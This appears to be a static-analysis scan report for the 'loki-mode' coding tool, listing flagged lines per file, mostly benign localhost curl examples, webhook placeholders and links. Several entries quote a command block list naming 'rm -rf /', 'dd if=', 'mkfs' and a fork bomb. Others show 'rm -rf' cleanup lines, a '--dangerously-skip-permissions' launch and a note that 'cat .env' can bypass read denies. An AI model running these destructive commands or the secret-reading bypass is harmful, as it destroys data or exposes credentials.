  • Executable scriptline 1
    Executable file

web-app/src/contexts/NotificationContext.tsx

  • Executable scriptline 1
    Executable file

web-app/src/hooks/useAuth.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 33
    [Credential-related source omitted]

web-app/src/hooks/useEscapeKey.ts

  • Executable scriptline 1
    Executable file

web-app/src/hooks/useFocusTrap.ts

  • Executable scriptline 1
    Executable file

web-app/src/hooks/usePolling.ts

  • Executable scriptline 1
    Executable file

web-app/src/hooks/usePullToRefresh.ts

  • Executable scriptline 1
    Executable file

web-app/src/hooks/useTheme.ts

  • Executable scriptline 1
    Executable file

web-app/src/hooks/useWebSocket.ts

  • Executable scriptline 1
    Executable file

web-app/src/main.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/AdminPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/CockpitPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/ComparePage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/HomePage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/LoginPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/MagicPage.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 44
    setLoading(true);       setError(null);       const res = await fetch(`${MAGIC_API}/components`);
  • Network accessline 45
    setError(null);       const res = await fetch(`${MAGIC_API}/components`);       if (res.ok) {
  • Network accessline 46
    const res = await fetch(`${MAGIC_API}/components`);
  • Network accessline 66
    async (spec: MagicGenerateSpec): Promise<boolean> => {       try {         const res = await fetch(`${MAGIC_API}/generate`, {
  • Network accessline 67
    try {         const res = await fetch(`${MAGIC_API}/generate`, {           method: 'POST',
  • Network accessline 68
    const res = await fetch(`${MAGIC_API}/generate`, {
  • Network accessline 87
    async (name: string): Promise<boolean> => {       try {         const res = await fetch(
  • Network accessline 88
    try {         const res = await fetch(           `${MAGIC_API}/components/${encodeURIComponent(name)}/debate`,
  • Network accessline 89
    const res = await fetch(
  • Network accessline 107
    async (name: string): Promise<boolean> => {       try {         const res = await fetch(
  • Network accessline 108
    try {         const res = await fetch(           `${MAGIC_API}/components/${encodeURIComponent(name)}`,
  • Network accessline 109
    const res = await fetch(

web-app/src/pages/MetricsPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/NotFoundPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/ProjectPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/ProjectsPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/SettingsPage.tsx

  • Executable scriptline 1
    Executable file
  • Network accessline 995
    <div className="flex flex-col gap-1 py-2">           {[             { label: 'Documentation', href: 'https://www.autonomi.dev/docs' },
  • Network accessline 996
    {[             { label: 'Documentation', href: 'https://www.autonomi.dev/docs' },             { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' },
  • Network accessline 997
    { label: 'Documentation', href: 'https://www.autonomi.dev/docs' },
  • Network accessline 998
    { label: 'GitHub', href: 'https://github.com/asklokesh/loki-mode' },
  • Network accessline 999
    { label: 'Changelog', href: 'https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md' },
  • Network accessline 1000
    { label: 'Report a bug', href: 'https://github.com/asklokesh/loki-mode/issues/new' },
  • Network accessline 1019
    type="button"             onClick={() => {               window.open('https://github.com/asklokesh/loki-mode/releases', '_blank');
  • Network accessline 1020
    onClick={() => {               window.open('https://github.com/asklokesh/loki-mode/releases', '_blank');             }}
  • Network accessline 1021
    window.open('https://github.com/asklokesh/loki-mode/releases', '_blank');

web-app/src/pages/ShowcasePage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/SystemSettingsPage.tsx

  • Executable scriptline 1
    Executable file
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 439
    value={config.slackWebhookUrl}                 onChange={(e) => update('slackWebhookUrl', e.target.value)}                 placeholder="https://hooks.slack.com/services/..."
  • Network accessline 440
    onChange={(e) => update('slackWebhookUrl', e.target.value)}                 placeholder="https://hooks.slack.com/services/..."                 className="w-full px-3 py-2 text-sm rounded-lg border border-[#ECEAE3] dark:border-[#2A2A30] bg-w
  • Network accessline 441
    placeholder="https://hooks.slack.com/services/..."

web-app/src/pages/TeamsPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/pages/TemplatesPage.tsx

  • Executable scriptline 1
    Executable file

web-app/src/types/api.ts

  • Executable scriptline 1
    Executable file

web-app/src/vite-env.d.ts

  • Executable scriptline 1
    Executable file

web-app/tailwind.config.js

  • Executable scriptline 1
    Executable file

web-app/vite.config.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 15
    proxy: {       '/lab/api': {         target: 'http://localhost:57375',
  • Network accessline 16
    '/lab/api': {         target: 'http://localhost:57375',         changeOrigin: true,
  • Network accessline 17
    target: 'http://localhost:57375',
  • Network accessline 19
    },       '/lab/proxy': {         target: 'http://localhost:57375',
  • Network accessline 20
    '/lab/proxy': {         target: 'http://localhost:57375',         changeOrigin: true,
  • Network accessline 21
    target: 'http://localhost:57375',

wiki/API-Reference.md

  • Network accessline 35
    | `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Bind address (localhost-only by default) | | `LOKI_DIR` | `.loki` | State directory | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins |
  • Network accessline 36
    | `LOKI_DIR` | `.loki` | State directory | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | | `LOKI_TLS_CERT` | - | PEM certificate file path (enables HTTPS) |
  • Network accessline 37
    | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins |
  • Network accessline 450
    curl http://localhost:57374/api/checkpoints
  • Network accessline 451
    curl "http://localhost:57374/api/checkpoints?limit=5"
  • Network accessline 477
    curl http://localhost:57374/api/checkpoints/chk-20260212-143022
  • Network accessline 498
    curl -X POST http://localhost:57374/api/checkpoints
  • Network accessline 499
    curl -X POST http://localhost:57374/api/checkpoints \
  • Network accessline 781
    curl http://localhost:57374/metrics
  • Access to secretsline 956
    [Credential-related source omitted]
  • Network accessline 983
    Access-Control-Allow-Origin: http://localhost:57374, http://127.0.0.1:57374
  • Network accessline 991
    # Allow specific origins (comma-separated) export LOKI_DASHBOARD_CORS="http://localhost:57374,https://dashboard.example.com"
  • Network accessline 992
    export LOKI_DASHBOARD_CORS="http://localhost:57374,https://dashboard.example.com"
  • Network accessline 995
    | Environment Variable | Default | Description | |---------------------|---------|-------------| | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated list of allowed CORS origins |
  • Network accessline 996
    |---------------------|---------|-------------| | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated list of allowed CORS origins | | `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Server bind address (localhos
  • Network accessline 997
    | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated list of allowed CORS origins |
  • Network accessline 1030
    # Health check curl http://localhost:57374/health
  • Network accessline 1031
    curl http://localhost:57374/health
  • Network accessline 1033
    # Get status curl http://localhost:57374/api/status
  • Network accessline 1034
    curl http://localhost:57374/api/status
  • Network accessline 1036
    # Pause session curl -X POST http://localhost:57374/api/control/pause
  • Network accessline 1037
    curl -X POST http://localhost:57374/api/control/pause
  • Network accessline 1039
    # Resume session curl -X POST http://localhost:57374/api/control/resume
  • Network accessline 1040
    curl -X POST http://localhost:57374/api/control/resume
  • Network accessline 1042
    # Stop session curl -X POST http://localhost:57374/api/control/stop
  • Network accessline 1043
    curl -X POST http://localhost:57374/api/control/stop
  • Network accessline 1045
    # Get logs curl "http://localhost:57374/api/logs?lines=100"
  • Network accessline 1046
    curl "http://localhost:57374/api/logs?lines=100"
  • Network accessline 1048
    # Get tasks curl http://localhost:57374/api/tasks
  • Network accessline 1049
    curl http://localhost:57374/api/tasks
  • Network accessline 1051
    # Get memory summary curl http://localhost:57374/api/memory/summary
  • Network accessline 1052
    curl http://localhost:57374/api/memory/summary
  • Network accessline 1054
    # Council state curl http://localhost:57374/api/council/state
  • Network accessline 1055
    curl http://localhost:57374/api/council/state
  • Network accessline 1057
    # Get cost data curl http://localhost:57374/api/cost
  • Network accessline 1058
    curl http://localhost:57374/api/cost
  • Network accessline 1060
    # Create checkpoint curl -X POST http://localhost:57374/api/checkpoints \
  • Network accessline 1061
    curl -X POST http://localhost:57374/api/checkpoints \
  • Network accessline 1065
    # Context window state curl http://localhost:57374/api/context
  • Network accessline 1066
    curl http://localhost:57374/api/context
  • Network accessline 1068
    # Notifications curl http://localhost:57374/api/notifications
  • Network accessline 1069
    curl http://localhost:57374/api/notifications
  • Network accessline 1071
    # Notification triggers curl http://localhost:57374/api/notifications/triggers
  • Network accessline 1072
    curl http://localhost:57374/api/notifications/triggers
  • Network accessline 1074
    # Acknowledge a notification curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge
  • Network accessline 1075
    curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge
  • Network accessline 1077
    # Prometheus metrics curl http://localhost:57374/metrics
  • Network accessline 1078
    curl http://localhost:57374/metrics
  • Network accessline 1080
    # Budget status curl http://localhost:57374/api/budget
  • Network accessline 1081
    curl http://localhost:57374/api/budget
  • Network accessline 1083
    # Auth info curl http://localhost:57374/api/auth/info
  • Network accessline 1084
    curl http://localhost:57374/api/auth/info
  • Network accessline 1090
    // Get status const status = await fetch('http://localhost:57374/api/status').then(r => r.json());
  • Network accessline 1091
    const status = await fetch('http://localhost:57374/api/status').then(r => r.json());
  • Network accessline 1101
    // Pause session await fetch('http://localhost:57374/api/control/pause', { method: 'POST' });
  • Network accessline 1102
    await fetch('http://localhost:57374/api/control/pause', { method: 'POST' });
  • Network accessline 1110
    # Get status response = requests.get('http://localhost:57374/api/status')
  • Network accessline 1111
    response = requests.get('http://localhost:57374/api/status')
  • Network accessline 1115
    # Get tasks response = requests.get('http://localhost:57374/api/tasks')
  • Network accessline 1116
    response = requests.get('http://localhost:57374/api/tasks')
  • Network accessline 1121
    # Get memory summary response = requests.get('http://localhost:57374/api/memory/summary')
  • Network accessline 1122
    response = requests.get('http://localhost:57374/api/memory/summary')
  • Network accessline 1137
    [Credential-related source omitted]
  • Network accessline 1138
    [Credential-related source omitted]

wiki/Architecture.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 351
    +--------+--------+        +---------+-------+        +----------+-------+          |                           |                           |          | curl (background)         | curl (background)         | curl (background)
  • Network accessline 352
    |                           |                           |          | curl (background)         | curl (background)         | curl (background)          v                           v                           v
  • Network accessline 353
    | curl (background)         | curl (background)         | curl (background)

wiki/Audit-Logging.md

  • Network accessline 77
    # Query entries (requires the "audit" token scope) curl "http://localhost:57374/api/enterprise/audit?limit=50"
  • Network accessline 78
    curl "http://localhost:57374/api/enterprise/audit?limit=50"
  • Network accessline 80
    # Summary curl "http://localhost:57374/api/enterprise/audit/summary?days=7"
  • Network accessline 81
    curl "http://localhost:57374/api/enterprise/audit/summary?days=7"
  • Dangerous shell operationline 286
    find ~/.loki/dashboard/audit/ -name "*.jsonl" -mtime +30 -delete

wiki/CLI-Reference.md

  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 212
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]
  • Network accessline 496
    # Generate a spec from a full GitHub issue URL loki issue https://github.com/myorg/myapp/issues/42
  • Network accessline 497
    loki issue https://github.com/myorg/myapp/issues/42
  • Network accessline 1038
    LOKI_SLACK_WEBHOOK=https://hooks.slack.com/services/...
  • Network accessline 1039
    LOKI_DISCORD_WEBHOOK=https://discord.com/api/webhooks/...
  • Network accessline 1040
    LOKI_WEBHOOK_URL=https://your-server.com/webhook
  • Network accessline 1798
    Note: the badge uses a shields.io static-badge image URL (`https://img.shields.io/badge/...`). shields.io is an external image host, so
  • Network accessline 1799
    (`https://img.shields.io/badge/...`). shields.io is an external image host, so
  • Network accessline 1936
    # Set a $5 budget, get Slack notifications LOKI_SLACK_WEBHOOK=https://hooks.slack.com/services/xxx \
  • Network accessline 1937
    LOKI_SLACK_WEBHOOK=https://hooks.slack.com/services/xxx \
  • Network accessline 1998
    | `LOKI_TELEMETRY_DISABLED` | (unset) | Set to `true` to hard-disable all anonymous diagnostics (always wins). | | `DO_NOT_TRACK` | (unset) | Community convention: set to `1` to hard-disable all anonymous diagnostics. | | `LOKI_TELEMETRY_EN
  • Network accessline 1999
    | `DO_NOT_TRACK` | (unset) | Community convention: set to `1` to hard-disable all anonymous diagnostics. | | `LOKI_TELEMETRY_ENDPOINT` | https://us.i.posthog.com | Override the analytics endpoint (used whenever telemetry is enabled). | | `L
  • Network accessline 2000
    | `LOKI_TELEMETRY_ENDPOINT` | https://us.i.posthog.com | Override the analytics endpoint (used whenever telemetry is enabled). |
  • Network accessline 2016
    Precedence: any opt-out flag wins; else any opt-in flag enables; else OFF in CI / non-interactive / enterprise / `LOKI_AIRGAP=true` contexts; else ON. See [PRIVACY.md](https://github.com/asklokesh/loki-mode/blob/main/docs/PRIVACY.md)
  • Network accessline 2017
    CI / non-interactive / enterprise / `LOKI_AIRGAP=true` contexts; else ON. See [PRIVACY.md](https://github.com/asklokesh/loki-mode/blob/main/docs/PRIVACY.md) for the exact data sent (os, arch, version, channel, anonymous distinct id; no
  • Network accessline 2018
    [PRIVACY.md](https://github.com/asklokesh/loki-mode/blob/main/docs/PRIVACY.md)

wiki/Completion-Council.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l

wiki/Configuration.md

  • Network accessline 48
    #=============================================================================== # Loki Mode Configuration # Documentation: https://github.com/asklokesh/loki-mode/wiki/Configuration
  • Network accessline 49
    # Loki Mode Configuration # Documentation: https://github.com/asklokesh/loki-mode/wiki/Configuration #===============================================================================
  • Network accessline 50
    # Documentation: https://github.com/asklokesh/loki-mode/wiki/Configuration
  • Dangerous shell operationline 126
    blocked_commands: "rm -rf /,dd if=,mkfs,:(){ :|:& };:"
  • Network accessline 306
    notifications:   slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 307
    slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 326
    notifications:   enabled: true   slack_webhook: "https://hooks.slack.com/..."
  • Network accessline 327
    enabled: true   slack_webhook: "https://hooks.slack.com/..."   discord_webhook: "https://discord.com/api/webhooks/..."
  • Network accessline 328
    slack_webhook: "https://hooks.slack.com/..."
  • Network accessline 329
    discord_webhook: "https://discord.com/api/webhooks/..."
  • Network accessline 349
    notifications:   enabled: true   webhook_url: "https://monitoring.company.com/api/events"
  • Network accessline 351
    webhook_url: "https://monitoring.company.com/api/events"
  • Network accessline 391
    Loki integrates [caveman](https://github.com/JuliusBrussee/caveman), an optional
  • Network accessline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Network accessline 431
    LOKI_SLACK_WEBHOOK=https://hooks.slack.com/...
  • Access to secretsline 437
    [Credential-related source omitted]
  • Network accessline 446
    export LOKI_DASHBOARD_CORS="https://dashboard.example.com,http://localhost:57374"
  • Network accessline 449
    When not set, defaults to `http://localhost:57374,http://127.0.0.1:57374` (localhost-only). See [[Security]] for details.

wiki/Contributing.md

  • Network accessline 20
    git clone https://github.com/asklokesh/loki-mode.git
  • Network accessline 242
    Use the [issue templates](https://github.com/asklokesh/loki-mode/issues/new/choose) for bug reports and feature requests.
  • Network accessline 269
    - [[FAQ]] - Frequently asked questions - [[Troubleshooting]] - Common issues - [GitHub Issues](https://github.com/asklokesh/loki-mode/issues)
  • Network accessline 271
    - [GitHub Issues](https://github.com/asklokesh/loki-mode/issues)

wiki/Cross-Project-Learning.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 147
    curl http://localhost:57374/api/memory/summary
  • Network accessline 148
    curl "http://localhost:57374/api/memory/patterns?limit=10"
  • Network accessline 149
    curl "http://localhost:57374/api/memory/search?q=authentication&collection=patterns"
  • Network accessline 150
    curl http://localhost:57374/api/memory/stats

wiki/Dashboard.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 38
    Default URL: `http://localhost:57374`
  • Network accessline 132
    # Fetch metrics curl http://localhost:57374/metrics
  • Network accessline 133
    curl http://localhost:57374/metrics
  • Network accessline 223
    // Dashboard fetches from API const status = await fetch('http://localhost:57374/api/status').then(r => r.json());
  • Network accessline 224
    const status = await fetch('http://localhost:57374/api/status').then(r => r.json());
  • Network accessline 225
    const logs = await fetch('http://localhost:57374/api/logs?lines=100').then(r => r.json());
  • Network accessline 263
    # Check status endpoint curl http://localhost:57374/api/status
  • Network accessline 264
    curl http://localhost:57374/api/status

wiki/Enterprise-Features.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 67
    [Credential-related source omitted]
  • Network accessline 68
    http://localhost:57374/api/status
  • Network accessline 162
    [Credential-related source omitted]
  • Network accessline 163
    [Credential-related source omitted]
  • Network accessline 164
    "http://localhost:57374/api/enterprise/audit?limit=100"
  • Network accessline 166
    [Credential-related source omitted]
  • Network accessline 167
    [Credential-related source omitted]
  • Network accessline 168
    "http://localhost:57374/api/enterprise/audit/summary"
  • Access to secretsline 188
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Network accessline 215
    # Google Workspace export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 216
    export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 219
    # Azure AD export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant}/v2.0
  • Network accessline 220
    export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant}/v2.0
  • Network accessline 223
    # Okta export LOKI_OIDC_ISSUER=https://your-org.okta.com
  • Network accessline 224
    export LOKI_OIDC_ISSUER=https://your-org.okta.com
  • Network accessline 284
    curl http://localhost:57374/metrics
  • Network accessline 394
    # Health check HEALTHCHECK --interval=30s --timeout=10s \   CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"
  • Network accessline 395
    HEALTHCHECK --interval=30s --timeout=10s    CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"
  • Network accessline 396
    CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"
  • Network accessline 436
    curl "http://localhost:57374/api/registry/tasks?status=in_progress"
  • Network accessline 448
    # API curl "http://localhost:57374/api/registry/learnings"
  • Network accessline 449
    curl "http://localhost:57374/api/registry/learnings"
  • Dangerous shell operationline 520
    export LOKI_BLOCKED_COMMANDS="rm -rf /,dd if=,mkfs,shutdown"
  • Dangerous shell operationline 534
    - `rm -rf /`
  • Network accessline 562
    - ./projects:/projects:ro     healthcheck:       test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]
  • Network accessline 563
    healthcheck:       test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]       interval: 30s
  • Network accessline 564
    test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]

wiki/Enterprise-Setup.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 15
    # 2. Verify it is running curl http://localhost:57374/api/status
  • Network accessline 16
    curl http://localhost:57374/api/status
  • Network accessline 28
    # Required: Point to your OTEL collector export LOKI_OTEL_ENDPOINT="http://localhost:4318"
  • Network accessline 29
    export LOKI_OTEL_ENDPOINT="http://localhost:4318"
  • Network accessline 39
    # Check OTEL is active curl http://localhost:57374/api/status | python3 -c "import sys,json; print(json.load(sys.stdin))"
  • Dangerous shell operationline 40
    curl http://localhost:57374/api/status | python3 -c "import sys,json; print(json.load(sys.stdin))"
  • Network accessline 40
    curl http://localhost:57374/api/status | python3 -c "import sys,json; print(json.load(sys.stdin))"
  • Network accessline 95
    # Check audit is enabled curl http://localhost:57374/api/audit?limit=5
  • Network accessline 96
    curl http://localhost:57374/api/audit?limit=5
  • Network accessline 98
    # Verify chain integrity curl http://localhost:57374/api/audit/verify
  • Network accessline 99
    curl http://localhost:57374/api/audit/verify
  • Network accessline 108
    # Create an admin API key (first time only) curl -X POST http://localhost:57374/api/keys \
  • Network accessline 109
    curl -X POST http://localhost:57374/api/keys \
  • Access to secretsline 119
    [Credential-related source omitted]
  • Network accessline 125
    export LOKI_JIRA_URL="https://company.atlassian.net"
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Network accessline 162
    https://slack.com/api/auth.test
  • Network accessline 168
    export LOKI_TEAMS_WEBHOOK_URL="https://your-tenant.webhook.office.com/..."
  • Network accessline 173
    curl -X POST "$LOKI_TEAMS_WEBHOOK_URL" \

wiki/Enterprise.md

  • Network accessline 36
    **Activate:** `export LOKI_OTEL_ENDPOINT="http://your-collector:4318"`

wiki/Environment-Variables.md

  • Network accessline 25
    | `LOKI_DASHBOARD_PORT` | `57374` | Dashboard + API server port (FastAPI) | | `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Dashboard + API server bind address | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-sepa
  • Network accessline 26
    | `LOKI_DASHBOARD_HOST` | `127.0.0.1` | Dashboard + API server bind address | | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins | | `LOKI_TLS_CERT` | - | Path to PEM certificate
  • Network accessline 27
    | `LOKI_DASHBOARD_CORS` | `http://localhost:57374,http://127.0.0.1:57374` | Comma-separated allowed CORS origins |
  • Access to secretsline 57
    [Credential-related source omitted]
  • Dangerous shell operationline 72
    rm -rf /,dd if=,mkfs,:(){ :|:& };:
  • Instruction override signalline 84
    This is not complete secret-file protection: `Read` denies do not stop `Bash(cat .env)` under `--dangerously-skip-permissions`.
  • Network accessline 107
    | Variable | Default | Description | |----------|---------|-------------| | `LOKI_OIDC_ISSUER` | - | OIDC issuer URL (e.g., `https://accounts.google.com`, `https://login.microsoftonline.com/{tenant}/v2.0`) |
  • Network accessline 108
    |----------|---------|-------------| | `LOKI_OIDC_ISSUER` | - | OIDC issuer URL (e.g., `https://accounts.google.com`, `https://login.microsoftonline.com/{tenant}/v2.0`) | | `LOKI_OIDC_CLIENT_ID` | - | OIDC client/application ID from your id
  • Network accessline 109
    | `LOKI_OIDC_ISSUER` | - | OIDC issuer URL (e.g., `https://accounts.google.com`, `https://login.microsoftonline.com/{tenant}/v2.0`) |
  • Network accessline 244
    export LOKI_PROOF_PUBLIC_URL=https://my-site.example.com/proofs/run-001
  • Network accessline 319
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 334
    export LOKI_DASHBOARD=true export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..."
  • Network accessline 335
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..."
  • Access to secretsline 342
    [Credential-related source omitted]
  • Network accessline 358
    # Google Workspace example export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 359
    export LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 362
    # Azure AD example # export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant-id}/v2.0
  • Network accessline 363
    # export LOKI_OIDC_ISSUER=https://login.microsoftonline.com/{tenant-id}/v2.0
  • Network accessline 366
    # Okta example # export LOKI_OIDC_ISSUER=https://your-org.okta.com
  • Network accessline 367
    # export LOKI_OIDC_ISSUER=https://your-org.okta.com
  • Network accessline 395
    # Prometheus scraping # Point Prometheus scrape target at http://localhost:57374/metrics
  • Network accessline 396
    # Point Prometheus scrape target at http://localhost:57374/metrics

wiki/FAQ.md

  • Network accessline 156
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..."
  • Dangerous shell operationline 251
    rm -rf .loki/  # Optional: full reset
  • Network accessline 324
    [GitHub Issues](https://github.com/asklokesh/loki-mode/issues)
  • Network accessline 328
    Check [GitHub Projects](https://github.com/asklokesh/loki-mode/projects) for planned features.

wiki/Getting-Started.md

  • Network accessline 24
    `loki start` still runs the legacy engine, which is being removed; the walkthrough below uses it and is a legacy path. See [docs/v10/GUIDE.md](https://github.com/asklokesh/loki-mode/blob/main/docs/v10/GUIDE.md).
  • Instruction override signalline 86
    # Launch Claude with autonomous permissions claude --dangerously-skip-permissions
  • Instruction override signalline 87
    claude --dangerously-skip-permissions
  • Network accessline 122
    # Use a GitHub issue as the spec (converts issue body to a PRD and starts) loki issue https://github.com/owner/repo/issues/123 --start
  • Network accessline 123
    loki issue https://github.com/owner/repo/issues/123 --start
  • Access to secretsline 136
    [Credential-related source omitted]
  • Network accessline 180
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/..."

wiki/GitHub-Integration.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 39
    loki issue https://github.com/owner/repo/issues/123
  • Network accessline 85
    ## References - Original: https://github.com/owner/repo/issues/123
  • Network accessline 86
    - Original: https://github.com/owner/repo/issues/123
  • Network accessline 171
    # Webhook for status updates export LOKI_WEBHOOK_URL="https://your-webhook.com/github"
  • Network accessline 172
    export LOKI_WEBHOOK_URL="https://your-webhook.com/github"
  • Network accessline 219
    # Or set remote git remote set-url origin https://github.com/owner/repo.git
  • Network accessline 220
    git remote set-url origin https://github.com/owner/repo.git
  • Access to secretsline 232
    [Credential-related source omitted]

wiki/Home.md

  • Network accessline 3
    **The flagship product of [Autonomi](https://www.autonomi.dev/) -- an autonomous, spec-driven build system with a built-in trust layer. It does not call work done until it is verified: the RARV-C closure loop, 8 quality gates, the completio
  • Network accessline 19
    `loki start owner/repo#N` still routes to the legacy engine; use `loki owner/repo#N`. The legacy engine is being removed. Everything in Loki Mode is free: there are no paid editions. Guide: [docs/v10/GUIDE.md](https://github.com/asklokesh/l
  • Network accessline 122
    Current Version: **11.124.2** ([CHANGELOG](https://github.com/asklokesh/loki-mode/blob/main/CHANGELOG.md))
  • Network accessline 130
    - **GitHub Issues**: [Report bugs or request features](https://github.com/asklokesh/loki-mode/issues)
  • Network accessline 131
    - **Discussions**: [Community Q&A](https://github.com/asklokesh/loki-mode/discussions)

wiki/Installation.md

  • Network accessline 47
    git clone https://github.com/asklokesh/loki-mode.git
  • Access to secretsline 77
    [Credential-related source omitted]
  • Dangerous shell operationline 229
    rm -rf .loki/
  • Dangerous shell operationline 232
    rm -rf ~/.loki/
  • Dangerous shell operationline 233
    rm -rf ~/.config/loki-mode/

wiki/Knowledge-Compounding.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l

wiki/Network-Security.md

  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]

wiki/Notifications.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 39
    # View triggers curl http://localhost:57374/api/notifications/triggers
  • Network accessline 40
    curl http://localhost:57374/api/notifications/triggers
  • Network accessline 42
    # Update triggers curl -X PUT http://localhost:57374/api/notifications/triggers \
  • Network accessline 43
    curl -X PUT http://localhost:57374/api/notifications/triggers \
  • Network accessline 47
    # View active notifications curl http://localhost:57374/api/notifications
  • Network accessline 48
    curl http://localhost:57374/api/notifications
  • Network accessline 50
    # Acknowledge a notification curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge
  • Network accessline 51
    curl -X POST http://localhost:57374/api/notifications/notif-001/acknowledge
  • Network accessline 81
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 88
    export LOKI_DISCORD_WEBHOOK="https://discord.com/api/webhooks/xxx/yyy"
  • Network accessline 95
    export LOKI_WEBHOOK_URL="https://your-server.com/api/events"
  • Access to secretsline 96
